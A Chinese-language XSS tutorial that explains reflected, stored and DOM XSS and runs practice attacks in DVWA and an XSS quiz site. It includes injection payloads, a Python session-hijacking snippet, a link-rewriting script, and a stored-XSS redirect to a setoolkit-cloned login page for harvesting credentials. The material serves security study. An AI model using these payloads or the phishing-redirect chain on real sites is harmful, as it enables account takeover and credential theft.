一、XSS跨站脚本分类
跨站脚本攻击(Cross Site Scripting),为了不和 层叠样式表(Cascading Style Sheets ) 的缩写混淆, 故将跨站脚本攻击缩写为XSS。恶意攻击者往web页面里插入恶意script代码,当用户浏览该 页时,嵌入其中web里面的script代码会被执行,从而达到恶意攻击用户的目的
1.1 cookie介绍(相当于一个通行证)
由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就 给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务 器就能从通行证上确认客户身份了。这就是Cookie的工作原理。
1.2 反射型XSS(只有攻击者看到)
- 反射型XSS又称非持久性XSS,这种攻击往往具有一次性
- 攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用
户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞
1.3 存储型XSS(持久型、 每个用户都能看到)
- 存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性
- 攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数 据库中。当用户进行正常访问时,触发XSS代码
1.4 DOM型XSS
- DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式
- 服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代 码,触发XSS漏洞
1.5 通过Python利用cookie会话劫持
cookie = "security=low; csrftoken=EIe9fIFCRE4BXu8bqHKRX60hfih1bZAnMFMA8w2DtTygLGXcemxxiAyeAqsJPXhi; PHPSESSID=g2ii9pn9u0sck0shjvcqtfgne0"
cookie = {i.split("=")[0]:i.split("=")[1] for i in cookie.split("; ")}
html = requests.get('http://127.0.0.1/DVWA/index.php',headers=headers).text
劫持会话后的操作
- 1.获取页面数据
- 2.劫持前端逻辑
- 3.发送请求
- 4.偷取用户资料
- 5.偷取用户密码和登录状态
二、XSS窜改网页链接
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].href = "http://www.baidu.com";
}
}
</script>
2.1 XSS盗取用户信息原理
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面, 用户输入登录,账号和密码被存储
2.2 setoolkit工具克隆网站
在kali中输入 setoolkit
1.社会工程攻击>1
2.网站攻击>2
3.凭据收集攻击>3
4.root网站克隆>2
2.3 存储XSS跳转克隆网站
在DVWA中XSS(Stored)中执行
<script>
window.location = "http://192.168.154.130/";
</script>
三、XSS攻击
实验环境
https://xss-quiz.int21h.jp/
3.1 探测XSS过程
- 1、构造一个不会被识别为恶意代码的字符串提交到页面中
- 2、使用浏览器审查工具进行代码审查,寻找构造的字符串是否在页面中显示
3.2 闭合文本标签利用XSS
简单的 payload
<script>alert(document.domain);</script>
闭合标签的 payload
"</b><script>alert(document.domain);</script>
3.3 配置Chrome关闭XSS-Auditor
-
如果谷歌浏览器打开网址探测时出现以下情况:
-
需要配置Chrome :–args --disable-xss-auditor
-
在桌面新建一个快捷方式
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
3.4 属性中的XSS发现
技巧:ctrl+f 全局搜索输入的内容
闭合引号,尖括号,引入script脚本
123"><script>alert(document.domain);</script>
3.5 属性中的XSS发现
onmouseover 鼠标悬停弹出
" onmouseover= " alert(document.domain)>
或者
123" onmouseover= " alert(document.domain)>